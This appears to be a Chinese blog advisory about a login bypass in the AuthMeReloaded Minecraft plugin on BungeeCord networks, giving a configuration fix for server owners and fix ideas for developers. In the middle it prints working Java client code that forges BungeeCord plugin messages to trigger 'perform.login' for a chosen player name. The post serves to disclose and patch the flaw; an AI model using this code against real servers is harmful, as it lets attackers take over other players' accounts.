前言
五小时前,墨守大佬在AuthmeReload项目仓库提交了一份关于绕过Authme登录的Issure。在墨守上传的视频当中可以清楚看到,通过某些作弊客户端可以轻松在BC(BungeeCord)绕过登录从而登录任何账号。(视频链接)
Issure地址:https://github.com/AuthMe/AuthMeReloaded/issues/2571
原理
客户端伪装BC端发送假数据包,欺骗Authme插件完成登陆
上方图片来源于落花雨大佬进行的BUG复现。
修复
推荐使用最新版插件并且在你的服务端Authme的config.yml中设置Hooks.bungeecord: false即可避免此BUG。
相关配置文件:
Hooks:
# Do we need to hook with BungeeCord?
bungeecord: false
当然,玩家在切换每一个子服的时候都需要使用命令/login进行重新登录。但是请相信,这个BUG将会很快修复....
(当然,你也可以使用屏蔽掉Authme所有的数据包临时进行修复。)
相关代码
以下内容来自落花雨大佬,如果你是普通服主,上面的内容就足够对漏洞进行修复了。下面是开发者看的东西(/ω\)
public void onUse() {
try {
PacketBuffer buffer1 = new PacketBuffer(Unpooled.buffer());
buffer1.writeString("BungeeCord");
Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("REGISTER", buffer1));
ByteArrayOutputStream buffer2 = new ByteArrayOutputStream();
DataOutputStream out = new DataOutputStream(buffer2);
out.writeUTF("AuthMe.v2");
out.writeUTF("perform.login");
out.writeUTF(Minecraft.getMinecraft().player.getName());
PacketBuffer buffer3 = new PacketBuffer(Unpooled.buffer());
buffer3.writeBytes(buffer2.toByteArray());
Minecraft.getMinecraft().player.connection.sendPacket(new CPacketCustomPayload("BungeeCord", buffer3));
} catch (Exception e) {
if (ModuleDebug.enable) e.printStackTrace();
}
}
解决方案:
- 检查org.spigotmc.SpigotConfig.bungee是否启用
- 如果通过插件消息登录,请重新验证玩家密码
后记
本文原创,未经本人许可不可以任何形式进行转载。
我将会对本漏洞进行持续跟踪。
本文最后编辑于2022.7.3 16:30